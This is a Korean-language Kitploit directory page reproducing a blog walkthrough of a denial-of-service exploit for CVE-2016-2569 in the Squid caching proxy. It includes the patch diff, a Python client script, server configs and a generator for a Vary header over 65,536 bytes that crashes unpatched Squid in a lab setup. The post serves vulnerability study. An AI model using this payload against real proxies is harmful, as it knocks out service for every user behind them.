Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2016-2569 — Squid 3.5.15 이전의 3.x 버전 및 4.0.7 이전의 4.x 버전은 String 객체에 데이터를 올바르게 추가하지 못하여, 원격 서버가 긴 문자열을 통해 서비스 거부(assertion failure 및 daemon exit)를 유발할 수 있으며, 이는 조작된 HTTP Vary 헤더로 입증됩니다. | Kitploit
도구/GitHubGitHub/amit-raut/cve-2016-2569
Vulnerability AnalysisExploitationWeb Security
GitHubamit-raut/cve-2016-2569

CVE-2016-2569

Squid 3.5.15 이전의 3.x 버전 및 4.0.7 이전의 4.x 버전은 String 객체에 데이터를 올바르게 추가하지 못하여, 원격 서버가 긴 문자열을 통해 서비스 거부(assertion failure 및 daemon exit)를 유발할 수 있으며, 이는 조작된 HTTP Vary 헤더로 입증됩니다.

저장소 보기
618년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

안녕하세요,

제 첫 블로그 글을 읽어주셔서 감사합니다. 오늘은 오픈소스 도구인 Squid 캐싱 프록시 서버를 위한 익스플로잇 제작에 대해 알아보겠습니다.

그래서 Squido는 무엇인가?

Squid는 HTTP, HTTPS, FTP 등을 지원하는 웹 캐싱 프록시입니다. 자주 요청되는 웹 페이지를 캐싱하고 재사용하여 대역폭을 줄이고 응답 시간을 개선합니다. Squid는 광범위한 접근 제어 기능을 갖추고 있으며 훌륭한 서버 가속기 역할을 합니다. Windows를 포함한 대부분의 사용 가능한 운영 체제에서 실행되며 GNU GPL 라이선스 하에 제공됩니다. Squid 캐싱 프록시에 대한 자세한 내용은 공식 웹사이트 [http://www.squid-cache.org/]에서 확인할 수 있습니다.

CVE-2016-2569란 무엇인가?

먼저 CVE가 무엇인지 알고 계시길 바랍니다 :p 어쨌든 CVE는 Common Vulnerabilities and Exposures의 약자입니다 (CVE에 대한 자세한 내용은 [https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures]에서 확인할 수 있습니다).

CVE-2016-2569에 대한 다음 정보를 확인할 수 있습니다.

설명: 3.5.15 이전의 Squid 3.x 및 4.0.7 이전의 4.x 버전은 String 객체에 데이터를 올바르게 추가하지 않아, 긴 문자열(예: 조작된 HTTP Vary 헤더)을 통해 원격 서버가 서비스 거부(assertion 실패 및 데몬 종료)를 유발할 수 있습니다. Open Systems AG의 Mathias Fischer가 이 취약점을 보고했습니다.

취약점 분석

이것은 오픈소스 프로젝트이므로 이 취약점을 완화하기 위해 사용된 패치를 볼 수 있습니다. 제공된 취약점 설명에 기초하여 이것이 일종의 오버플로우 시도임을 확인할 수 있습니다. 소스를 더 깊이 파고들어 추가로 조사해 보겠습니다.

패치 [http://www.squid-cache.org/Versions/v3/3.5/changesets/squid-3.5-13991.patch]는 다음 파일에 변경 사항이 있음을 확인합니다.

  1. src/SquidString.h
  2. src/StrList.cc
  3. src/String.cc
  4. src/clients/Client.h
  5. src/clients/FtpClient.cc
  6. src/http.cc

더 깊이 파보겠습니다....

src/String.cc의 코드 diff는 aSize 변수에 대한 assertion을 추가하여 흥미롭습니다.


root@kitploit:~
=== modified file 'src/String.cc'
--- src/String.cc	2016-01-01 00:14:27 +0000
+++ src/String.cc	2016-02-19 23:15:41 +0000
@@ -42,7 +42,7 @@
 String::setBuffer(char *aBuf, String::size_type aSize)
 {
     assert(undefined());
-    assert(aSize < 65536);
+    assert(aSize <= SizeMax_);
     buf_ = aBuf;
     size_ = aSize;
 }
@@ -171,7 +171,7 @@
     } else {
         // Create a temporary string and absorb it later.
         String snew;
-        assert(len_ + len < 65536); // otherwise snew.len_ overflows below
+        assert(canGrowBy(len)); // otherwise snew.len_ may overflow below
         snew.len_ = len_ + len;
         snew.allocBuffer(snew.len_ + 1);

위 코드 diff를 기반으로 Vary 헤더의 값을 65536바이트 이상으로 제공하여 취약점을 악용해 볼 수 있습니다.

익스플로잇 설정을 시작해 보겠습니다.

Linux 시스템(여기서는 Xubuntu 16.04 LTS 사용)에 Squid 캐싱 프록시를 설정하겠습니다. Squid 캐싱 프록시는 metanet HTTP 서버 응답을 캐싱하고, 유사한 요청에 대해 서버에 쿼리하는 대신 메모리 캐시에서 클라이언트에게 응답을 보냅니다.

네트워크 토폴로지는 아래와 같습니다 (토폴로지가 올드스쿨이라 죄송합니다만 저는 아직도 VIM을 사랑합니다).

root@kitploit:~
-------------------------          -------------------------          -------------------------
|                       |          |                       |          |                       |
|         metanet       |  ---->   |         Squid         |  ----->  |         Client        |
|     192.168.56.102    |          |     Caching Proxy     |          |     192.168.56.1      |
|       HTTP Server     |  <----   |     TCP Port 3128     |  <----   |     Python Requests   |
|                       |          |                       |          |                       |
-------------------------          -------------------------          -------------------------

Squid 프록시를 통해 nginx HTTP 서버에 표준 쿼리를 보내고 로그를 확인하여 설정이 예상대로 작동하는지 확인하겠습니다.

작업을 더 쉽게 하기 위해 다음 Python 스크립트를 사용하여 서버에 요청을 보낼 것입니다. 여기서 중요한 점은 요청에 사용된 헤더가 프록시 서버가 응답을 캐싱할 수 있도록 허용한다는 것입니다. HTTP 요청 헤더 "If-Modified-Since", "max-age", "cache-control"의 값이 적절하지 않으면 클라이언트 요청이 프록시 서버로 하여금 응답을 위해 서버에 쿼리하도록 강제합니다. 이는 프록시 서버의 목적을 완전히 무색하게 만듭니다.


root@kitploit:~
Request.py

#!/usr/bin/env python

import requests, os

proxy = {'http': '192.168.56.102:3128'}
headers = {'If-Modified-Since': 'Wed, 24 Jan 2018 13:58:1 GMT', 'Accept': '*', 'max-age': '20000', 'cache-control': 'public', 'connetction': 'keep-alive', 'user-agent': 'requests2'}

if len(os.sys.argv) != 2:
    print "Usage: req [URI]"
    os.sys.exit()

print '\nhttp://192.168.56.102:8080/{}'.format(os.sys.argv[1])

r = requests.get('http://192.168.56.102:8080/{}'.format(os.sys.argv[1]), proxies=proxy, headers=headers)

print "\nHTTP Stat Code --> ", r.status_code

print
 
print "HTTP Response Headers \n", 
for h in r.headers:
    print h, ": ", r.headers[h] 
print

if 'Vary' in r.headers:
    print "Vary: ", r.headers['Vary'], "\n"

위 Python 코드는 헤더와 프록시를 설정하고 Python requests 라이브러리를 사용하여 192.168.56.102에 있는 HTTP 서버에 요청을 보내는 것을 볼 수 있습니다. 서버나 프록시로부터 응답을 받으면 헤더를 출력합니다. 특히 HTTP 서버나 프록시 서버가 보낸 Vary 헤더 응답에 관심이 있습니다.

설정의 다음 단계는 metanet(HTTP 서버)을 설정하는 것입니다. 다양한 HTTP 응답 헤더를 쉽게 보낼 수 있기 때문에 metanet을 사용할 것입니다. 대안으로 SimpleHTTPServer를 사용할 수도 있으며, 이를 통해 사용자 정의 HTTP 응답을 보낼 수도 있습니다.

Squid 캐싱 프록시가 유사한 응답을 메모리에 캐싱할 수 있도록 하는 Vary 헤더와 함께 필요한 헤더로 응답하도록 metanet 설정 파일을 준비해야 합니다.

metanet 설정은 다음과 같습니다.


root@kitploit:~
[tcp/8080]

             "GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
                      * -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:NULL\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()

설정이 실제로 작동하는지 확인해 봅시다!

Squid Caching Proxy Setup

설정에 따르면 모든 것이 좋아 보입니다. w00t w00t!

익스플로잇

취약점을 악용해 보도록 합시다 (긴 문자열 기반 버퍼를 HTTP Vary 응답 헤더와 함께 전달). 이것은 간단한 오버플로우 익스플로잇입니다. 코드 diff에서 a_size 값이 65536을 초과하지 않아야 한다는 assertion이 정의된 것을 볼 수 있습니다. Vary 헤더의 길이를 그 정도로 제공합니다.

이상적으로는 65536개의 표준 HTTP 응답 헤더가 없습니다 (그랬다면 정말 난장판이었을 것입니다 😛); 그러나 헤더를 만들어낼 수 있습니다. 이 경우 중요한 것은 Vary 헤더에 전달된 문자열의 길이입니다.

Python을 사용하여 긴 문자열을 생성해 봅시다: python -c 'print "a,b,c,d,e,f," *6000' 이 출력을 사용하여 아래와 같이 metanet 설정을 수정하고 익스플로잇을 테스트하겠습니다.

metanet 설정은 다음과 같습니다.


root@kitploit:~
[tcp/8080]

             "GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
                      * -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:`a,b,c,d,e,f,`<reapeated 6000 times>"\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()

프록시에 첫 번째 요청을 보내면 모든 것이 정상으로 보입니다. 프록시가 응답을 캐싱하지 않는 것 같았습니다. 아마도 Vary 헤더 필드에 제공한 값 때문일 것입니다. Vary 헤더에 지정된 응답 헤더는 캐시된 콘텐츠를 확인하기 위한 md5 합계를 계산하는 데 사용됩니다.

프록시에 여러 요청을 계속 보내 봅시다. 뭔가 잘못되었습니다. 프록시가 요청에 응답하지 않으며 requests 라이브러리에서 "Proxy Error"를 받고 있습니다. 어쨌든 계속 요청을 보내 봅시다.

아이고. 잦은 실패로 프록시가 중단되었습니다. 프록시를 통해 서버에 연결하는 어떤 장치도 아무것도 접근할 수 없습니다. 이는 모든 프록시 사용자에 대한 서비스 거부입니다.

Squid Proxy Exploitation using long Vary Header

도구 다운로드